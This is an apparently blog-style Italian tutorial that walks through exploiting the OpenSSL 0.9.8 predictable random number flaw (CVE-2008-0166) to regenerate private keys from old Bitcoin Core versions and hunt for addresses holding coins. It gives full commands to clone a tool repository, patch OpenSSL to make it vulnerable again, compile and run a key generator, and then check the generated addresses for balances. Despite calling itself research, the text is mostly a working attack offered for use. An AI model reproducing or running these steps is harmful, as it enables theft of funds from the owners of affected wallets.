
Cerca monete BTC nelle versioni precedenti di Bitcoin Core con la vulnerabilità critica OpenSSL 0.9.8 CVE-2008-0166
In questo articolo creeremo uno strumento che genererà Indirizzi Bitcoin (P2PKH) utilizzando la vulnerabilità CVE-2008-0166. Questo è un progetto di ricerca per trovare monete BTC nelle versioni precedenti del client software Bitcoin Core.
Generatore di numeri casuali che genera numeri prevedibili CVE-2008-0166
VAIM-OpenSSL 0.9.8/1.0.0 Rilevato
La versione con vulnerabilità critica OpenSSL 0.9.8 CVE-2008-0166 era popolata solo con l'ID di processo. A causa delle differenze tra endianness e sizeof(long), l'output dipende dall'architettura: 32 bit big endian (ad esempio, i386), 64 bit big endian (ad esempio, amd64, ia64), 32 bit big endian (ad esempio, powerpc , sparc). PID 0 è il core, e ( ) non viene raggiunto tramite porting, quindi c'erano possibili flussi di numeri casuali per ogni architettura.
PID_MAX
Il client software Bitcoin Core utilizza OpenSSL. Nello specifico, utilizza una funzione «EC_KEY_generate_key()» per generare Indirizzi Bitcoin (come una chiave) per ricevere pagamenti. Le versioni precedenti di Bitcoin Core generano e memorizzano 100 chiavi in wallet.dat
Una nuova chiave viene generata solo quando viene ricevuto un pagamento Bitcoin. Pertanto, il client software Bitcoin Core mantiene un pool di 100 chiavi Bitcoin inutilizzate (indirizzi) . Lo stato del generatore interno di numeri casuali dipende da quali altre chiamate sono state effettuate alla libreria OpenSSL prima della chiamata 'EC_KEY_generate_key()' . Chiamate che influenzano lo stato interno del RNG: «RAND_add(8)», «RAND_bytes(8)» и «RAND_bytes(32)».
Quindi la ricerca consisteva nell'esaminare molte vecchie fonti di bitcoin per scoprire quali chiamate venivano effettuate che influenzavano lo stato interno del RNG prima della chiamata «EC_KEY_generate_key()». Il percorso delle chiamate cambia tra le versioni del client software Bitcoin Core
Lo studio si è concentrato sulle seguenti versioni:

Il nostro obiettivo è generare chiavi private per ogni versione del client software Bitcoin Core, per ogni architettura (le32/le64), per ogni ID di processo e per gli Indirizzi Bitcoin (P2PKH), utilizzando un numero casuale da una vulnerabilità critica. OpenSSL 0.9.8.
In definitiva, creeremo un Generatore di Indirizzi Bitcoin (P2PKH) e tutto verrà salvato in un file result.txt

Per questo useremo il kit di distribuzione «Ubuntu 18.04.5 LTS» da Google Colab

In precedenza abbiamo registrato una videoguida : «TERMINAL in Google Colab crea tutte le comodità per lavorare in GITHUB»
Apri Google Colab in Terminal [TerminalGoogleColab]
Eseguiamo il comando:
cat /etc/lsb-release
Andiamo al «CryptoDeepTools» repository e diamo un'occhiata ai dettagli
git clone https://github.com/demining/CryptoDeepTools.git
cd CryptoDeepTools/05VulnerableOpenSSL/
ls -lh
Aggiorna e installa g++ libgmp3-dev libmpfr-dev
apt-get update
sudo apt-get install g++ -y

sudo apt-get install libgmp3-dev libmpfr-dev -y

Per rendere OpenSSL di nuovo vulnerabile come in CVE-2008-0166
Scarica openssl-0.9.8c.tar.gz e applica le patch ai file di sistema
wget https://ftp.openssl.org/source/old/0.9.x/openssl-0.9.8c.tar.gz


tar xfz openssl-0.9.8c.tar.gz
mv openssl-0.9.8c openssl-0.9.8c-vuln
cd openssl-0.9.8c-vuln

ls -lh
patch -p1 <../make-OpenSSL-0-9-8c-vulnerable-again.diff
./Configure linux-x86_64 shared no-ssl2 no-ssl3 no-comp no-asm
make depend all
cd /
ls
cd content/CryptoDeepTools/05VulnerableOpenSSL/
ls -lh

gcc -o cryptodeepbtcgen cryptodeepbtc.c -I./openssl-0.9.8c-vuln/include -L./openssl-0.9.8c-vuln -lssl -lcrypto
ls -lh

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -h
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
crypto > LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
#0 - 0.3.24
#1 - 0.8.6-d
#2 - 0.8.6-qt
#3 - 0.9.1-d
#4 - 0.9.4-d
#5 - unknownA
#6 - unknownB
#7 - unknownC
#8 - unknownD
#9 - unknownE
#10 - unknownF
#11 - unknownG
#12 - unknownH
#13 - unknownI
#14 - unknownJ
#15 - unknownK
#16 - unknownA0
#17 - unknownA1
#18 - unknownA2
#19 - unknownA3
#20 - unknownA4
#21 - unknownB0
#22 - unknownB1
#23 - unknownB2
#24 - unknownB3
#25 - unknownC0
#26 - unknownC1
#27 - unknownC2
#28 - unknownD0
#29 - unknownD1
#30 - unknownD2
#31 - unknownD3
#32 - unknownD4
#33 - unknownD5
#34 - unknownE0
#35 - unknownA0x
#36 - unknownA1x
#37 - unknownA2x
#38 - unknownA3x
#39 - unknownA4x
#40 - unknownB0x
#41 - unknownB1x
#42 - unknownB2x
#43 - unknownB3x
#44 - unknownC0x
#45 - unknownC1x
#46 - unknownC2x
#47 - unknownD0x
#48 - unknownD1x
#49 - unknownD2x
#50 - unknownD3x
#51 - unknownD4x
#52 - unknownD5x
#53 - unknownE0x
crypto >
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -n 32 -v 0 >> result.txt

Tutto verrà salvato nell'archivio file Google Drive come file di testo result.txt


Successivamente, resta da controllare tutti gli Indirizzi Bitcoin generati per la presenza di monete BTC; per questo possiamo usare lo script Python : bitcoin-checker.py
Video: https://youtu.be/zHkXups2I8k
| Indirizzo per Donazioni | |
|---|---|
| ♥ BTC | 1Lw2gTnMpxRUNBU85Hg4ruTwnpUPKdf3nV |
| ♥ ETH | 0xaBd66CF90898517573f19184b3297d651f7b90bf |